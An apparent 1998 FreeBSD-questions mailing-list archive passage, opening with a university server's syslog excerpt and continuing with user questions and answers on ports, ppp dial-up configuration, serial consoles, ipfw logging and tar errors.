mbarbosa to root on /dev/ttyp4 Apr 1 09:42:15 Fciencias su: BAD SU benja to root on /dev/ttyp7 Apr 1 15:09:38 Fciencias su: mbarbosa to root on /dev/ttyp7 Apr 1 15:26:06 Fciencias su: mbarbosa to root on /dev/ttyp7 Apr 2 21:03:19 Fciencias su: BAD SU rmach to root on /dev/ttyv2 Apr 2 21:03:35 Fciencias login: ROOT LOGIN (root) ON ttyv0 Apr 2 21:07:49 Fciencias su: rmach to root on /dev/ttyp9 Apr 2 21:17:32 Fciencias su: BAD SU rmach to root on /dev/ttyv2 Apr 2 21:17:37 Fciencias su: rmach to root on /dev/ttyv2 Apr 2 21:23:17 Fciencias su: BAD SU rmach to root on /dev/ttyv1 Apr 2 21:23:26 Fciencias su: rmach to root on /dev/ttyv1 Apr 2 22:36:03 Fciencias su: mbarbosa to root on /dev/ttyp0 Apr 3 00:48:27 Fciencias su: mbarbosa to root on /dev/ttyp1 Apr 3 00:53:55 Fciencias /kernel: Copyright (c) 1992-1997 FreeBSD Inc. Apr 3 00:53:55 Fciencias /kernel: Copyright (c) 1982, 1986, 1989, 1991, 1993 Apr 3 00:53:55 Fciencias /kernel: The Regents of the University of California. All rights reserved. Apr 3 00:53:55 Fciencias /kernel: Apr 3 00:53:55 Fciencias /kernel: FreeBSD 2.2.5-RELEASE #0: Sun Feb 22 13:47:04 PST 1998 Apr 3 00:53:56 Fciencias /kernel: amoran@Fciencias:/usr/src/sys/compile/FCIENCIAS Apr 3 00:53:56 Fciencias /kernel: CPU: Pentium Pro (199.31-MHz 686-class CPU) Apr 3 00:53:56 Fciencias /kernel: Origin = "GenuineIntel" Id = 0x617 Stepping=7 Apr 3 00:53:56 Fciencias /kernel: Features=0xf9ff,MTRR,PGE,MCA,CMOV> Apr 3 00:53:56 Fciencias /kernel: real memory = 33554432 (32768K bytes) Apr 3 00:53:56 Fciencias /kernel: avail memory = 30547968 (29832K bytes) Apr 3 00:53:56 Fciencias /kernel: Probing for devices on PCI bus 0: Apr 3 00:53:56 Fciencias /kernel: chip0 rev 2 on pci0:0 Apr 3 00:53:56 Fciencias /kernel: chip1 rev 1 on pci0:7:0 Apr 3 00:53:56 Fciencias /kernel: chip2 rev 0 on pci0:7:1 Apr 3 00:53:56 Fciencias /kernel: vga0 rev 0 int a irq 11 on pci0:10 Apr 3 00:53:56 Fciencias /kernel: fxp0 rev 1 int a irq 10 on pci0:11 Apr 3 00:53:57 Fciencias /kernel: fxp0: Ethernet address 00:a0:c9:25:e0:04 Apr 3 00:53:57 Fciencias /kernel: Probing for devices on the ISA bus: Apr 3 00:53:57 Fciencias /kernel: sc0 at 0x60-0x6f irq 1 on motherboard Apr 3 00:53:57 Fciencias /kernel: sc0: VGA color <16 virtual consoles, flags=0x0> Apr 3 00:53:57 Fciencias /kernel: ed1 at 0x300-0x31f irq 9 on isa Apr 3 00:53:57 Fciencias /kernel: ed1: address 00:80:c8:34:c5:74, type NE2000 (16 bit) Apr 3 00:53:57 Fciencias /kernel: sio0 at 0x3f8-0x3ff irq 4 on isa Apr 3 00:53:57 Fciencias /kernel: sio0: type 16550A Apr 3 00:53:57 Fciencias /kernel: sio1 at 0x2f8-0x2ff irq 3 on isa Apr 3 00:53:57 Fciencias /kernel: sio1: type 16550A Apr 3 00:53:57 Fciencias /kernel: lpt0 at 0x378-0x37f irq 7 on isa Apr 3 00:53:57 Fciencias /kernel: lpt0: Interrupt-driven port Apr 3 00:53:58 Fciencias /kernel: lp0: TCP/IP capable interface Apr 3 00:53:58 Fciencias /kernel: fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa Apr 3 00:53:58 Fciencias /kernel: fdc0: FIFO enabled, 8 bytes threshold Apr 3 00:53:58 Fciencias /kernel: fd0: 1.44MB 3.5in Apr 3 00:53:58 Fciencias /kernel: wdc0 at 0x1f0-0x1f7 irq 14 on isa Apr 3 00:53:58 Fciencias /kernel: wdc0: unit 0 (wd0): Apr 3 00:53:58 Fciencias /kernel: wd0: 1916MB (3924144 sectors), 3893 cyls, 16 heads, 63 S/T, 512 B/S Apr 3 00:53:58 Fciencias /kernel: npx0 on motherboard Apr 3 00:53:58 Fciencias /kernel: npx0: INT 16 interface Apr 3 00:53:58 Fciencias /kernel: sb0 at 0x220 irq 5 drq 1 on isa Apr 3 00:53:58 Fciencias /kernel: sb0: Apr 3 00:53:58 Fciencias /kernel: sbxvi0 at 0x0 drq 5 on isa Apr 3 00:53:58 Fciencias /kernel: sbxvi0: Apr 3 00:53:58 Fciencias /kernel: sbmidi0 not found at 0x330 Apr 3 00:53:59 Fciencias /kernel: opl0 at 0x388 on isa Apr 3 00:53:59 Fciencias /kernel: opl0: Apr 3 01:57:00 Fciencias su: mbarbosa to root on /dev/ttyp2 Apr 3 02:34:00 Fciencias su: mbarbosa to root on /dev/ttyp0 Apr 3 10:28:55 Fciencias su: mbarbosa to root on /dev/ttyp1 Apr 3 14:39:30 Fciencias su: smorales to mjava on /dev/ttyp1 Apr 3 15:56:40 Fciencias su: rmach to root on /dev/ttyp1 Apr 3 16:00:37 Fciencias su: mbarbosa to root on /dev/ttyp1 Apr 3 16:09:17 Fciencias su: mbarbosa to root on /dev/ttyp1 Apr 3 20:18:51 Fciencias su: mbarbosa to root on /dev/ttyp3 Apr 3 21:03:41 Fciencias su: mbarbosa to root on /dev/ttyp0 Apr 3 23:07:42 Fciencias /kernel: Copyright (c) 1992-1997 FreeBSD Inc. Apr 3 23:07:42 Fciencias /kernel: Copyright (c) 1982, 1986, 1989, 1991, 1993 Apr 3 23:07:42 Fciencias /kernel: The Regents of the University of California. All rights reserved. Apr 3 23:07:42 Fciencias /kernel: Apr 3 23:07:42 Fciencias /kernel: FreeBSD 2.2.5-RELEASE #0: Sun Feb 22 13:47:04 PST 1998 Apr 3 23:07:42 Fciencias /kernel: amoran@Fciencias:/usr/src/sys/compile/FCIENCIAS Apr 3 23:07:42 Fciencias /kernel: CPU: Pentium Pro (199.31-MHz 686-class CPU) Apr 3 23:07:43 Fciencias /kernel: Origin = "GenuineIntel" Id = 0x617 Stepping=7 Apr 3 23:07:43 Fciencias /kernel: Features=0xf9ff,MTRR,PGE,MCA,CMOV> Apr 3 23:07:43 Fciencias /kernel: real memory = 33554432 (32768K bytes) Apr 3 23:07:43 Fciencias /kernel: avail memory = 30547968 (29832K bytes) Apr 3 23:07:43 Fciencias /kernel: Probing for devices on PCI bus 0: Apr 3 23:07:43 Fciencias /kernel: chip0 rev 2 on pci0:0 Apr 3 23:07:43 Fciencias /kernel: chip1 rev 1 on pci0:7:0 Apr 3 23:07:43 Fciencias /kernel: chip2 rev 0 on pci0:7:1 Apr 3 23:07:43 Fciencias /kernel: vga0 rev 0 int a irq 11 on pci0:10 Apr 3 23:07:43 Fciencias /kernel: fxp0 rev 1 int a irq 10 on pci0:11 Apr 3 23:07:43 Fciencias /kernel: fxp0: Ethernet address 00:a0:c9:25:e0:04 Apr 3 23:07:43 Fciencias /kernel: Probing for devices on the ISA bus: Apr 3 23:07:43 Fciencias /kernel: sc0 at 0x60-0x6f irq 1 on motherboard Apr 3 23:07:43 Fciencias /kernel: sc0: VGA color <16 virtual consoles, flags=0x0> Apr 3 23:07:43 Fciencias /kernel: ed1 at 0x300-0x31f irq 9 on isa Apr 3 23:07:44 Fciencias /kernel: ed1: address 00:80:c8:34:c5:74, type NE2000 (16 bit) Apr 3 23:07:44 Fciencias /kernel: sio0 at 0x3f8-0x3ff irq 4 on isa Apr 3 23:07:44 Fciencias /kernel: sio0: type 16550A Apr 3 23:07:44 Fciencias /kernel: sio1 at 0x2f8-0x2ff irq 3 on isa Apr 3 23:07:44 Fciencias /kernel: sio1: type 16550A Apr 3 23:07:44 Fciencias /kernel: lpt0 at 0x378-0x37f irq 7 on isa Apr 3 23:07:44 Fciencias /kernel: lpt0: Interrupt-driven port Apr 3 23:07:44 Fciencias /kernel: lp0: TCP/IP capable interface Apr 3 23:07:44 Fciencias /kernel: fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa Apr 3 23:07:44 Fciencias /kernel: fdc0: FIFO enabled, 8 bytes threshold Apr 3 23:07:44 Fciencias /kernel: fd0: 1.44MB 3.5in Apr 3 23:07:44 Fciencias /kernel: wdc0 at 0x1f0-0x1f7 irq 14 on isa Apr 3 23:07:44 Fciencias /kernel: wdc0: unit 0 (wd0): Apr 3 23:07:44 Fciencias /kernel: wd0: 1916MB (3924144 sectors), 3893 cyls, 16 heads, 63 S/T, 512 B/S Apr 3 23:07:44 Fciencias /kernel: npx0 on motherboard Apr 3 23:07:45 Fciencias /kernel: npx0: INT 16 interface Apr 3 23:07:45 Fciencias /kernel: sb0 at 0x220 irq 5 drq 1 on isa Apr 3 23:07:45 Fciencias /kernel: sb0: Apr 3 23:07:45 Fciencias /kernel: sbxvi0 at 0x0 drq 5 on isa Apr 3 23:07:45 Fciencias /kernel: sbxvi0: Apr 3 23:07:45 Fciencias /kernel: sbmidi0 not found at 0x330 Apr 3 23:07:45 Fciencias /kernel: opl0 at 0x388 on isa Apr 3 23:07:45 Fciencias /kernel: opl0: Apr 7 03:22:19 Fciencias sendmail[22320]: DAA22320: SYSERR(root): collect: I/O error on connection from dns.dreamcom.com, from=: Operation timed out with dns.dreamcom.com Apr 7 10:24:31 Fciencias su: rmach to root on /dev/ttyp1 Apr 7 11:42:07 Fciencias login: 1 LOGIN FAILURE FROM telnor.com.mx, anonymou Apr 7 16:08:30 Fciencias login: 1 LOGIN FAILURE FROM fciencias.ens.uabc.mx Apr 7 16:08:30 Fciencias login: 1 LOGIN FAILURE FROM fciencias.ens.uabc.mx, hatlas Apr 7 16:26:42 Fciencias login: 1 LOGIN FAILURE FROM fciencias.ens.uabc.mx Apr 7 16:26:42 Fciencias login: 1 LOGIN FAILURE FROM fciencias.ens.uabc.mx, hatlas Apr 7 17:02:53 Fciencias login: 1 LOGIN FAILURE FROM fciencias.ens.uabc.mx Apr 7 17:02:53 Fciencias login: 1 LOGIN FAILURE FROM fciencias.ens.uabc.mx, hatlas Apr 7 18:12:44 Fciencias ftpd[25787]: FTP LOGIN FAILED FROM 148.231.201.33, hatlas Apr 7 20:17:11 Fciencias login: ROOT LOGIN (root) ON ttyv0 ok... maybe these few messages will give you some insight... need some config files? some more specs? >> hmmm we (I personally) suspected Xcalibur's >> NIC (Network Interface Card) but... then I was enlightened >> somehow and in one of those "crashes" I went to the >> Xcalibur console and thought about restarting the nfsd's >> but.. I decided to just warm-jump-start them with a >> killall -hup... and miracoulously things got online >> again... > >Perhaps a daemon is going nuts? Check top. yes, that is my latest guess... otherwise, it would not have been fixed with the -HUPing... any ideas? btw, I am kinda in spring break.. *chuckle* else I would have replied sooner... sorry. > >Doug White | University of Oregon >Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant >http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > -- ************************************* * Marco Antonio Barbosa Santoyo * * Facultad de Ciencias, U.A.B.C. * * Ensenada, Baja California, Mexico * ************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 21:16:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA09984 for freebsd-questions-outgoing; Tue, 7 Apr 1998 21:16:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from uniqsite.uniqsite.com. (timm@uniqsite.com [206.14.149.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA09966 for ; Tue, 7 Apr 1998 21:16:35 -0700 (PDT) (envelope-from timm@uniqsite.com) Received: from localhost (timm@localhost) by uniqsite.uniqsite.com. (8.8.7/8.8.7) with SMTP id VAA00986; Tue, 7 Apr 1998 21:16:27 -0700 (PDT) (envelope-from timm@uniqsite.com) Date: Tue, 7 Apr 1998 21:16:27 -0700 (PDT) From: Tim Moony To: anthony@sohopros.com cc: freebsd-questions@FreeBSD.ORG Subject: Re: downloading a port. In-Reply-To: <3.0.32.19980405195120.008f49a0@pop.flash.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998 anthony@sohopros.com wrote: > Date: Sun, 05 Apr 1998 19:51:22 -0500 > From: anthony@sohopros.com > To: freebsd-questions@freebsd.org > Subject: downloading a port. > > I would like to down load the port for netscape v4.05, but > when I go to the FTP directory: > /pub/FreeBSD/ports-2.2.5/www/netscape4/ at ftp.freebsd.org > there arn't any ....tar.gz files. Shouldn't there be? > Can someone give me some direction? > It's a port, not a package. You'll do: ftp ftp://ftp.freebsd.org/pub/FreeBSD/ports-2.2.5/www/netscape4.tar Then you'll mkdir netscape and move the file there: mkdir netscape cd netscape tar xvf ../netscape4.tar and then make * You'll need to define a couple of Netscape variables before you'll be able to run it. Read the document that came with Netscape. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 21:26:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA11430 for freebsd-questions-outgoing; Tue, 7 Apr 1998 21:26:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA11425 for ; Tue, 7 Apr 1998 21:26:19 -0700 (PDT) (envelope-from anthony@sohopros.com) Received: from sohopros.com (fwasc31-59.flash.net [209.30.58.59]) by endeavor.flash.net (8.8.8/8.8.5) with ESMTP id XAA24232 for ; Tue, 7 Apr 1998 23:26:14 -0500 (CDT) Message-ID: <352AEC62.470F38CF@sohopros.com> Date: Tue, 07 Apr 1998 22:17:55 -0500 From: "Anthony E. Coley" Reply-To: anthony@sohopros.com Organization: Student X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: "questions@FreeBSD.ORG" Subject: saving screen output? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can someone point me in the right direction to find out how to capture screen output, (error messages and such). I would like to be able to capture them so I can get help on some error messages that I periodically get. Thanks, Anthony ..... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 21:38:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA12602 for freebsd-questions-outgoing; Tue, 7 Apr 1998 21:38:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA12574 for ; Tue, 7 Apr 1998 21:38:07 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id VAA27571; Tue, 7 Apr 1998 21:36:49 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 21:36:48 -0700 (PDT) From: Doug White Reply-To: Doug White To: Donn Miller cc: questions@FreeBSD.ORG Subject: Re: crc errors in tar files In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Donn Miller wrote: > I recently was unpacking the full FreeBSD source distribution in > single-user mode (with install.sh all), and I noticed that I got a crc > error in the sys dist. But when I tried to upack the sys distribution by > itself, the gzip errors went away. I repeated this a couple of more times > with no errors. I had everything mounted async. Hm, I'd be concerned about possibly bad RAM or processor cache, or just a bad read depending on the source. Where were you loading the distribution from? CD? Network? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 21:38:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA12703 for freebsd-questions-outgoing; Tue, 7 Apr 1998 21:38:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA12676 for ; Tue, 7 Apr 1998 21:38:25 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id VAA27575; Tue, 7 Apr 1998 21:38:23 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 21:38:23 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Larry S. Marso" cc: freebsd-questions@FreeBSD.ORG Subject: Re: su: kerberos: not in root's ACL In-Reply-To: <19980407175117.07642@marso.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Larry S. Marso wrote: > I just reinstalled the bin distribution. That's when the problem began. > > What are you recommending I do differently? Eh? Reinstalling just bin shouldn't make it appear; you have to install the des/kerb distribution to make it show. Are you installing via `make world'? > > > su: kerberos: not in root's ACL? > > That starts the server, but all of the libraries still look for it. You > > have to reinstall the bin distribution to get rid of it. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 21:43:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA14087 for freebsd-questions-outgoing; Tue, 7 Apr 1998 21:43:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA14061 for ; Tue, 7 Apr 1998 21:42:50 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id VAA27586; Tue, 7 Apr 1998 21:42:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 21:42:47 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Joe \"Marcus\" Clarke" cc: FreeBSD User Questions List Subject: Re: The future (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Joe "Marcus" Clarke wrote: > FreeBSD is a true 4.4BSD-Lite derivative, and thus implements true AT&T > UNIX code. FreeBSD doesn't contain any AT&T code. Otherwise I'd be paying through the nose for `Free'BSD source. FYI. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 21:45:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA14452 for freebsd-questions-outgoing; Tue, 7 Apr 1998 21:45:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA14444 for ; Tue, 7 Apr 1998 21:45:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id VAA27590; Tue, 7 Apr 1998 21:44:31 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 21:44:31 -0700 (PDT) From: Doug White Reply-To: Doug White To: Stephen Cooper cc: FreeBSD mailing list Subject: Re: FreeBSD Serial Ports - How to configure to use with minicom In-Reply-To: <00a701bd6288$92fb50e0$297c0ecb@stephenc.alphawest.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Stephen Cooper wrote: > Can anyone help me? > > Newbie question. How does one configure a serial port under FreeBSD to > use as a console for another machine. I wish to use the BSD equivalent > of dos's com1: on my Toshiba laptop > > 1. what do I configure in the kernel (sio1?) sio0 for COM1, sio1 for COM2, etc.... > 2. which /dev device do I talk to with minicom? Probably /dev/cuaa0. > 3. are there any /etc files that I need to configure No. Make sure you use a null modem cable though. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 21:56:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA15909 for freebsd-questions-outgoing; Tue, 7 Apr 1998 21:56:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA15872 for ; Tue, 7 Apr 1998 21:56:01 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id VAA27606; Tue, 7 Apr 1998 21:55:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 21:55:59 -0700 (PDT) From: Doug White Reply-To: Doug White To: Chado cc: freebsd-questions@FreeBSD.ORG Subject: Re: Using IPFW for logging In-Reply-To: <3.0.3.32.19980407212448.00911dd0@popmail.p3.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Chado wrote: > Gents, > > I would like to use the ipfw software to see the originating IP, the > destination IP, the port and the expiration time of the packet Add the `log' keyword to the rules that you want logged. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 21:57:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA16250 for freebsd-questions-outgoing; Tue, 7 Apr 1998 21:57:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.realtime.net (mail1.realtime.net [205.238.128.217]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id VAA16243 for ; Tue, 7 Apr 1998 21:57:07 -0700 (PDT) (envelope-from jktheowl@bga.com) Received: (qmail 31898 invoked from network); 8 Apr 1998 04:56:38 -0000 Received: from zoom.realtime.net (HELO zoom.bga.com) (root@205.238.128.40) by mail1.realtime.net with SMTP; 8 Apr 1998 04:56:38 -0000 Received: from barnowl (apm5-187.realtime.net [205.238.146.187]) by zoom.bga.com (8.6.12/8.6.12) with SMTP id XAA24008; Tue, 7 Apr 1998 23:56:31 -0500 Date: Wed, 8 Apr 1998 00:03:30 -0500 (CDT) From: John Kenagy X-Sender: jktheowl@barnowl To: Doug White cc: "Joe \"Marcus\" Clarke" , FreeBSD User Questions List Subject: Re: The future (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yes and their original man pages had things like" "...the only way is to try this..." and "You would really have to be in a strange frame of mind to do this." and to quote Dave Berry "I'm not making this up!" Really, I've had AT&T boxes.:-) John On Tue, 7 Apr 1998, Doug White wrote: > On Tue, 7 Apr 1998, Joe "Marcus" Clarke wrote: > > > FreeBSD is a true 4.4BSD-Lite derivative, and thus implements true AT&T > > UNIX code. > > FreeBSD doesn't contain any AT&T code. Otherwise I'd be paying through > the nose for `Free'BSD source. > > FYI. > > Doug White | University of Oregon > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 22:21:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA20015 for freebsd-questions-outgoing; Tue, 7 Apr 1998 22:21:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.impulse.net (mail.impulse.net [204.188.6.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id WAA19999 for ; Tue, 7 Apr 1998 22:21:03 -0700 (PDT) (envelope-from mike@merchantsnet.com) Received: (qmail 7037 invoked from network); 8 Apr 1998 05:21:01 -0000 Received: from sb2-89.impulse.net (HELO 708644668) (204.188.6.89) by mail.impulse.net with SMTP; 8 Apr 1998 05:21:01 -0000 From: "Michael P. Sale" To: , "Capriotti" Subject: Re: newbie ppp question. Date: Tue, 7 Apr 1998 22:18:12 -0700 Message-ID: <01bd62ad$b9dbdca0$5906bccc@708644668> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks for the great info! The default clue helped a lot and the ppp only in root bit was a new one too. I am still having problems, but getting closer. ppp seems a little buggy. I will actually have to initiate it and CTL-C 3-7 times before I get the ppp ON freebsd> prompt. Strange. Once it get initiated, I will do a >dial impulse. At this point, it dials just fine, but seems to hang suspened in negotiation. The modem stays up, but I never go past the ppp ON freebsd> I suspect ppp or pap is failing somewhere, but won't know for shure untill I get in touch with the NAS/radius guy toomorrow. Does anyone know of a way to go into a debug mode to watch the negotiation? I know the name & passwd work as they are used on my win95 box ok. Thanks again, Mike ---------------------------------------------- Michael P. Sale MerchantsNet.Com mike@merchantsnet.com www.merchantsnet.com ---------------------------------------------- "Humility has no equal in the battle for knowledge" -- -----Original Message----- From: Capriotti To: Michael P. Sale ; freebsd-questions@freebsd.org Date: Tuesday, April 07, 1998 4:56 AM Subject: Re: newbie ppp question. >Have you tried > > >ppp -alias impulse > >(it should return you a prompt like: > >ppp ON [your_machine_name] > > >where you would say : > > >dial > >??? > > >BTW, put "Default:" in lower caps, just in case, ok ? > > >Oh, yes: You can only run ppp when you're root. Belonging to whell does not >give you the needed rights to run it or do something else. > >use > >su > >to become root AFTER logging in as your normal user. > >At 05:10 PM 4/6/98 -0700, Michael P. Sale wrote: >>Hello all, >> >>I am new to freebsd and most of unix. >> >>I am trying to get ppp (IPCP) dialout working on a newly installed >>PII 233 with freebsd 2.2.5 (CD-Rom set). I have set up both ppp.conf and >>ppp.linkup in the /etc/ppp directory. They are included below in case they >>may be the problem. When I type in ppp from root ( I know using root is >>bad, but I can't yet figure out why I don't have access to anything even >>though my user is part of wheel ), I get the following: >> >>User Process PPP. Written by Toshiharu OHNO. >> >>According to the book, I should see considerably more here. :-) >> >>At this point the box hangs until I do a CTL-C. >> >>All advice and suggestions for the clueless would be appreciated. >> >>Thanks, >> >>Mike >> >>ppp.conf starts here------------------------------------------------- >> >># Default setup. Always executed when PPP is invoked. >># >>Default: >> set device /dev/cuaa1 >> set speed 57600 >> set log Phase Chat Connect Carrier hdlc LCP IPCP CCP tun >> deny lqr >> set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATE1Q0 OK-AT-OK >>\\dATDT\\T TIMEOUT 40 CONNECT" >># Example with a login script >># >># o From PPP prompt, >># ppp> dial simplesite >># automatically dials and performs the login script. >># >># ppp> load simplesite >># loads and executes commands, but doesn't dial. >># >># o From shell, invoke as >># $ ppp simplesite >># to load commands associated with the 'simplesite' label. Use, >># ppp> dial >># to establish the connection. >># >>impulse: >> set phone 1234567 >> set openmode passive >> set authname login_name >> set authkey passwd >> set login "TIMEOUT 5 login:\\r-login: login_name word: passwd" >> set timeout 120 >># Take care of extra stuff >># set up for dynamic ip (ipcp) >>set ifaddr 0 0 >># set up for default routing >>add 0 0 HISADDR >> >>ppp.conf ends here-------------------------------------------------- >> >>ppp.linkup starts here---------------------------------------------- >> >># Otherwise, simply add peer as default gateway. >># >>MYADDR: >> delete 0 >> add 0 0 HISADDR >> >>ppp.linkup ends >>here---------------------------------------------------------- >> >> >>---------------------------------------------- >>Michael P. Sale >>MerchantsNet.Com >>mike@merchantsnet.com 